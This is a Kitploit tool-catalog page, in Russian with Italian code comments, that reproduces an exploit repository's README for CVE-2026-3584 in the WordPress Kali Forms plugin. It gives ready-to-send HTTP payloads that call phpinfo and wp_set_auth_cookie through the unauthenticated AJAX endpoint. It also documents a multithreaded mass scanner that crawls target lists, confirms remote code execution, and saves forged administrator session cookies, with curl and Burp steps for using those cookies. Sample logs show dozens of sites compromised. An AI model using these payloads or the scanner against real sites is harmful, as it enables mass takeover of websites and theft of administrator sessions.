Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-3584 — CVE-2026-3584 | Kitploit
Инструменты/GitHubGitHub/yucaerin/cve-2026-3584
Повышение привилегийРазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubyucaerin/cve-2026-3584

CVE-2026-3584

CVE-2026-3584

Репозиторий
355 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-3584 — WordPress Kali Forms <= 2.4.9 — Неаутентифицированное удалённое выполнение кода через form_process

🔥 Сводка об уязвимости

Плагин WordPress Kali Forms версий <= 2.4.9 содержит критическую уязвимость неаутентифицированного удалённого выполнения кода (RCE). Эта брешь позволяет неаутентифицированным атакующим выполнять произвольный PHP-код на сервере и получать полные права администратора через AJAX-эндпоинт kaliforms_form_process, открыто доступный без проверок авторизации.

Уязвимость находится в функции form_process, которая принимает контролируемые пользователем параметры (включая thisPermalink и entryCounter) и выполняет произвольные PHP-колбэки, что приводит к:

  • Удалённому выполнению кода (RCE) через phpinfo(), system(), eval() и т.д.
  • Повышению привилегий через wp_set_auth_cookie() для получения административных сессий

🔍 Уязвимый плагин

  • Название плагина: Kali Forms — WordPress Form Builder
  • Уязвимая версия: <= 2.4.9
  • Тип уязвимости: Неаутентифицированное удалённое выполнение кода + повышение привилегий
  • CVE ID: CVE-2026-3584
  • CVSS-оценка: 10.0 (критическая)
  • Воздействие: Полная компрометация сайта, административный доступ, закрепление
  • Ссылка: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process

🐛 Как работает уязвимость

Технический анализ бага

Уязвимость проявляется в функции form_process плагина Kali Forms, которая обрабатывает AJAX-запросы. Уязвимый код доступен через:

root@kitploit:~
// Endpoint AJAX accessibile senza autenticazione
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));

Схема эксплуатации:

  1. Незащищённый эндпоинт: эндпоинт /wp-admin/admin-ajax.php?action=kaliforms_form_process доступен неаутентифицированным пользователям через хук wp_ajax_nopriv_.

  2. Контролируемые пользователем параметры:

    • data[thisPermalink] — может содержать имя произвольной PHP-функции
    • data[entryCounter] — может содержать имя произвольной PHP-функции
    • data[formId] — ID обрабатываемой формы
  3. Выполнение нефильтрованных колбэков: Уязвимый код выполняет PHP-колбэки без валидации:

    root@kitploit:~
    $callback = $_POST['data']['thisPermalink'];
    call_user_func($callback);  // Nessun controllo!
    
  4. Цепочка эксплойта:

    root@kitploit:~
    Attacker → POST Request → kaliforms_form_process
         ↓
    thisPermalink=phpinfo → call_user_func('phpinfo')
         ↓
    PHP Code Execution → phpinfo() eseguito
         ↓
    entryCounter=wp_set_auth_cookie → Cookie amministratore generato
         ↓
    Full Admin Access
    

Пример уязвимого запроса:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]

Результат: сервер выполняет phpinfo() и возвращает полную информацию о конфигурации PHP.

Для повышения привилегий:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]

Результат: WordPress выполняет wp_set_auth_cookie(user_id), где user_id часто соответствует formId, формируя действительные cookie административной сессии.


🛠️ Mass Scanner — как это работает

Архитектура сканера

mass_scanner.py реализует автоматизированный конвейер из 4 этапов для полной эксплуатации уязвимости CVE-2026-3584:

root@kitploit:~
┌────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────‚
│                    MASS SCANNER PIPELINE                        │
├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────¦
│                                                                 │
│  Fase 1: Ricognizione API REST                                 │
│  ├─ Enumera utenti: /wp-json/wp/v2/users                       │
│  └─ Enumera post: /wp-json/wp/v2/posts                         │
│      → Identifica user_id e post_id per escalation             │
│                                                                 │
│  Fase 2: Scoperta Moduli                                       │
│  ├─ Crawl sito (depth=2)                                       │
│  ├─ Cerca pattern: 'KaliFormsObject', 'kaliforms'              │
│  ├─ Estrae nonce da JavaScript                                 │
│  └─ Estrae formId da HTML                                      │
│      → Trova tutti i moduli Kali Forms vulnerabili             │
│                                                                 │
│  Fase 3: Test RCE                                              │
│  ├─ Invia: data[thisPermalink]=phpinfo                         │
│  ├─ Verifica: 'PHP Version' in response                        │
│  └─ Salva: result/target_phpinfo.html                          │
│      → Conferma esecuzione codice remoto                       │
│                                                                 │
│  Fase 4: Escalation Privilegi                                  │
│  ├─ Invia: data[entryCounter]=wp_set_auth_cookie              │
│  ├─ Estrae: wordpress_logged_in + wordpress_sec cookies        │
│  ├─ Verifica: Accesso a /wp-admin/ senza redirect             │
│  └─ Salva: result_cookie/target.txt                            │
│      → Ottiene accesso amministratore completo                 │
│                                                                 │
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Технические детали реализации

1. Автоматическая нормализация URL

root@kitploit:~
def normalize_url(self, target):
    # Aggiunge automaticamente http:// o https://
    # Prova prima HTTPS, poi fallback su HTTP
    # Gestisce porte personalizzate (es. :8080)

2. Перечисление REST API

root@kitploit:~
def enumerate_users_api(self, target):
    # GET /wp-json/wp/v2/users
    # Estrae tutti gli user_id disponibili
    # Usato per mappare formId → user_id
    
def enumerate_posts_api(self, target):
    # GET /wp-json/wp/v2/posts
    # Estrae tutti i post_id disponibili
    # Identifica sovrapposizioni user_id/post_id

3. Обнаружение форм (интеллектуальный краулинг)

root@kitploit:~
def discover_pages(self, target, max_depth=2):
    # Crawl ricorsivo del sito
    # Cerca pattern JavaScript: 'KaliFormsObject'
    # Filtra URL non necessari (js, css, immagini)
    # Segue solo link interni
    # Ritorna lista pagine con Kali Forms

4. Извлечение данных формы

root@kitploit:~
def extract_form_data(self, page_url):
    # Estrae nonce da JavaScript:
    #   KaliFormsObject = { ajax_nonce: "abc123" }
    # Estrae formId da HTML:
    #   data-id="1" o [kaliform id="1"]
    # Se nonce trovato ma no formId:
    #   Brute force ID 1-10

5. Тест RCE

root@kitploit:~
def test_rce(self, target, form_id, nonce):
    # POST /wp-admin/admin-ajax.php
    # Payload: data[thisPermalink]=phpinfo
    # Verifica: len(response) > 10000 e 'PHP Version' presente
    # Salva HTML completo per analisi

6. Тест повышения привилегий

root@kitploit:~
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
    # Strategia intelligente:
    # 1. Cerca sovrapposizioni user_id/post_id
    # 2. Testa prima ID con alta probabilità successo
    # 3. Fallback su ID comuni: 1,2,3,4,5
    
    # Per ogni formId candidato:
    # POST data[entryCounter]=wp_set_auth_cookie
    # Estrae cookie: wordpress_logged_in + wordpress_sec
    # Verifica: GET /wp-admin/ → no redirect
    # Controlla: 'dashboard' in response

7. Многопоточность

root@kitploit:~
# ThreadPoolExecutor per elaborazione parallela
# Thread-safe locks per scrittura risultati
# Salvataggio real-time (append mode)
# Statistiche globali con sync

8. Система автоматического резервного копирования

root@kitploit:~
def backup_previous_results(self):
    # Prima di ogni scan:
    # result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
    # result/ → result.20260325_120000.backup/
    # result_cookie/ → result_cookie.20260325_120000.backup/
    # Preserva tutti i dati storici

🚀 Использование Mass Scanner

Требования

root@kitploit:~
pip3 install requests beautifulsoup4

Подготовка файла целей

Создайте файл targets.txt с одной целью на строку (http/https необязателен):

root@kitploit:~
example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080

Базовый запуск

root@kitploit:~
# Scansione con impostazioni predefinite (20 thread)
python3 mass_scanner.py targets.txt

# Scansione con thread personalizzati
python3 mass_scanner.py -t 10 targets.txt

# Scansione con numero massimo di thread
python3 mass_scanner.py --threads 50 targets.txt

Вывод во время сканирования

root@kitploit:~
======================================================================
SCANNER DI MASSA - CVE-2026-3584 Pipeline Completa
======================================================================
Obiettivi: 100
Thread:    20
Pipeline:  Ricognizione → Scoperta Moduli → RCE → Escalation Privilegi
======================================================================

[*] Risultati precedenti salvati in: result_phpinfo.txt.20260325_120000.backup

[04:38:28] [INFO] https://target1.com: Avvio scansione...
[04:38:28] [INFO] https://target1.com: Fase 1: Enumerazione API REST...
[04:38:29] [INFO] https://target1.com: Trovati 3 utenti via API
[04:38:29] [INFO] https://target1.com: Trovati 5 post via API
[04:38:29] [INFO] https://target1.com: Fase 2: Scoperta moduli...
[04:38:31] [INFO] https://target1.com: Trovate 8 pagine con moduli
[04:38:31] [INFO] https://target1.com: Fase 3: Test RCE...
[04:38:31] [INFO] https://target1.com: Test modulo/i [1, 2, 3] con nonce 46aedbd3...
[04:38:32] [SUCCESS] https://target1.com: RCE SUCCESSO sul modulo 1!
[04:38:32] [INFO] https://target1.com: Salvato phpinfo in result/target1.com_form1_phpinfo.html
[04:38:32] [INFO] https://target1.com: Fase 4: Test escalation privilegi...
[04:38:33] [CRITICAL] https://target1.com: ESCALATION PRIVILEGI RIUSCITA con formId=1!
[04:38:33] [INFO] https://target1.com: Cookie salvato in result_cookie/target1.com.txt

[04:38:35] [INFO] https://target2.com: Avvio scansione...
[04:38:36] [INFO] https://target2.com: Fase 1: Enumerazione API REST...
[04:38:37] [WARN] https://target2.com: Nessun Kali Forms trovato
...

======================================================================
STATISTICHE SCANSIONE
======================================================================
Obiettivi totali:     100
Scansionati:          100
Vulnerabili:          45
  - Solo RCE:         10
  - Escalation Priv (CVSS10): 35
Falliti:              55
======================================================================

Risultati salvati:
  - result_phpinfo.txt        (RCE riuscito)
  - result_yes_all.txt (RCE + Escalation Privilegi)
  - result/*.html             (Output phpinfo)
  - result_cookie/*.txt       (Richieste HTTP con cookie amministrativi)
======================================================================

Расшифровка уровней логирования

  • [INFO] — общая информация о ходе сканирования
  • [SUCCESS] — RCE подтверждён, код успешно выполнен
  • [CRITICAL] — повышение привилегий успешно, получен административный доступ
  • [WARN] — цель не уязвима или формы не найдены
  • [ERROR] — ошибка во время сканирования (timeout, соединение и т.д.)

Структура результатов

root@kitploit:~
/root/
├── result_phpinfo.txt                 # Lista obiettivi con RCE confermato
├── result_yes_all.txt          # Lista obiettivi con accesso admin completo
├── result/                            # File HTML phpinfo dettagliati
│   ├── target1.com_form1_phpinfo.html
│   ├── target2.org_form2_phpinfo.html
│   └── ...
└── result_cookie/                     # Richieste HTTP con cookie amministrativi
    ├── target1.com.txt
    ├── target2.org.txt
    └── ...

Формат result_phpinfo.txt

root@kitploit:~
https://target1.com | Modulo: https://target1.com/contact | ID Modulo: 1 | Nonce: 46aedbd358 | File: result/target1.com_form1_phpinfo.html
https://target2.org | Modulo: https://target2.org/form | ID Modulo: 2 | Nonce: abc123def4 | File: result/target2.org_form2_phpinfo.html

Формат result_yes_all.txt

root@kitploit:~
======================================================================
OBIETTIVO: https://target1.com
TIMESTAMP: 2026-03-25T04:38:33.123456
======================================================================
RCE: SUCCESSO
  URL Modulo: https://target1.com/contact
  ID Modulo: 1
  Nonce: 46aedbd358
  phpinfo: result/target1.com_form1_phpinfo.html

ESCALATION PRIVILEGI: SUCCESSO (CVSS 10.0)
  Exploit formId: 1
  Cookie: wordpress_logged_in_xxx=...; wordpress_sec_xxx=...
  File Cookie: result_cookie/target1.com.txt
  Impatto: Accesso amministrativo completo

COMANDI DI SFRUTTAMENTO:
  Test RCE:
    python3 baru_cve_nih.py https://target1.com/contact 1 46aedbd358

  Escalation Privilegi:
    python3 POC_privilege_escalation_v3.py https://target1.com 46aedbd358

======================================================================

Формат result_cookie/target.txt

root@kitploit:~
GET /wp-admin/ HTTP/1.1
Host: target.com
Cookie: wordpress_logged_in_xxx=admin%7C1774600707%7C...; wordpress_sec_xxx=admin%7C1774600707%7C...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

Этот формат готов к копированию и вставке непосредственно в Burp Suite Repeater или к использованию с curl.

Использование административных cookie

Способ 1: Проверка с помощью curl

root@kitploit:~
# Estrarre cookie dal file
COOKIE=$(grep "^Cookie:" result_cookie/target.com.txt | sed 's/^Cookie: //')

# Testare accesso amministrativo
curl -H "Cookie: $COOKIE" https://target.com/wp-admin/ | grep -i dashboard

# Se output contiene "Dashboard" → Cookie funzionante!

Способ 2: Использование в Burp Suite

root@kitploit:~
# Passo 1: Generare configurazione automatica (opzionale)
./burp_config_gen.sh result_cookie/target.com.txt

# Passo 2: Burp Suite → Proxy → Options → Match and Replace → Add

# Passo 3: Configurazione:
Type:    Request header
Match:   ^Cookie:.*$
Replace: Cookie: [INCOLLA_COOKIE_DA_FILE]
☑ Regex match

# Passo 4: Abilitare la regola (checkbox)

# Passo 5: Navigare a https://target.com/wp-admin/

# Risultato: Accesso amministratore immediato

Мониторинг в реальном времени

Во время сканирования можно следить за результатами в реальном времени:

root@kitploit:~
# Terminal 1: Esegui scanner
python3 mass_scanner.py targets.txt

# Terminal 2: Monitora risultati RCE
watch -n 2 'tail -20 result_phpinfo.txt'

# Terminal 3: Monitora escalation privilegi
watch -n 2 'tail -20 result_yes_all.txt'

# Terminal 4: Conta obiettivi vulnerabili
watch -n 5 'echo "RCE: $(wc -l < result_phpinfo.txt) | Admin: $(grep -c "ESCALATION PRIVILEGI: SUCCESSO" result_yes_all.txt)"'

Автоматическое резервное копирование

Перед каждым новым сканированием сканер автоматически выполняет резервное копирование предыдущих результатов:

root@kitploit:~
Scansione 1: [12:00]
  result_phpinfo.txt
  result_yes_all.txt
  result/
  result_cookie/

Scansione 2: [13:00] - Backup automatico!
  [*] Risultati precedenti salvati in: result_phpinfo.txt.20260325_120000.backup
  [*] Risultati precedenti salvati in: result_yes_all.txt.20260325_120000.backup
  [*] File phpinfo precedenti salvati in: result.20260325_120000.backup/
  [*] File cookie precedenti salvati in: result_cookie.20260325_120000.backup/

Tutti i dati precedenti sono preservati con timestamp!

Оптимизация производительности

Рекомендуемое количество потоков:

root@kitploit:~
# Rete veloce, molti obiettivi
python3 mass_scanner.py -t 50 targets.txt

# Rete media, obiettivi moderati
python3 mass_scanner.py -t 20 targets.txt  # (predefinito)

# Rete lenta o pochi obiettivi
python3 mass_scanner.py -t 10 targets.txt

# Test singolo (debug)
python3 mass_scanner.py -t 1 targets.txt

Ожидаемая производительность:

  • 20 потоков: ~500–1000 целей/час (зависит от сети)
  • 50 потоков: ~1000–2000 целей/час (повышенный риск тайм-аутов)
  • 10 потоков: ~300–500 целей/час (стабильнее)

Устранение распространённых проблем

Проблема: не найдено ни одной уязвимой цели

root@kitploit:~
# Verifica manuale che il sito abbia Kali Forms
curl -s https://target.com | grep -i "kaliforms"

# Se trovato, estrai nonce manualmente
curl -s https://target.com | grep -i "KaliFormsObject"

Проблема: частые тайм-ауты

root@kitploit:~
# Riduci numero di thread
python3 mass_scanner.py -t 5 targets.txt

# O aumenta timeout modificando il codice (timeout=10 → timeout=30)

Проблема: cookie не работает

root@kitploit:~
# Verifica validità cookie
python3 test_burp_persistent.sh http://target.com

# Se fallisce, rigenera cookie con:
python3 get_fresh_admin_cookie.py http://target.com [NONCE]

🔒 Правовое предупреждение

⚠️ ВАЖНО:

Эти информация и инструменты предоставляются исключительно в образовательных целях и для авторизованного тестирования безопасности.

  • ✅ Законное использование: авторизованное пентестирование, исследования в области безопасности, обучение
  • ❌ Незаконное использование: неавторизованный доступ к системам, компрометация сайтов без разрешения

Неавторизованный доступ или использование компьютерных систем является незаконным и неэтичным.

Авторы и участники этого репозитория не несут ответственности за любое неправомерное использование или ущерб, причинённый этими инструментами. Пользователи обязаны убедиться, что у них есть соответствующее разрешение перед тестированием любой системы.

Используйте ответственно и только с явного письменного разрешения.


📚 Ссылки

CVE и рекомендации:

  • CVE-2026-3584: RCE и повышение привилегий в Kali Forms
  • Ссылка: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process
  • CVSS-оценка: 10.0 (критическая)
  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-862: Missing Authorization

Уязвимый плагин:

  • Название: Kali Forms — WordPress Form Builder
  • Slug: kaliforms
  • Репозиторий: https://wordpress.org/plugins/kaliforms/
  • Уязвимые версии: <= 2.4.9

CVE-2026-3584 | Kali Forms <= 2.4.9 | CVSS 10.0 Critical

Исследования в области безопасности | Ответственная эксплуатация | Обучение кибербезопасности

Скачать инструмент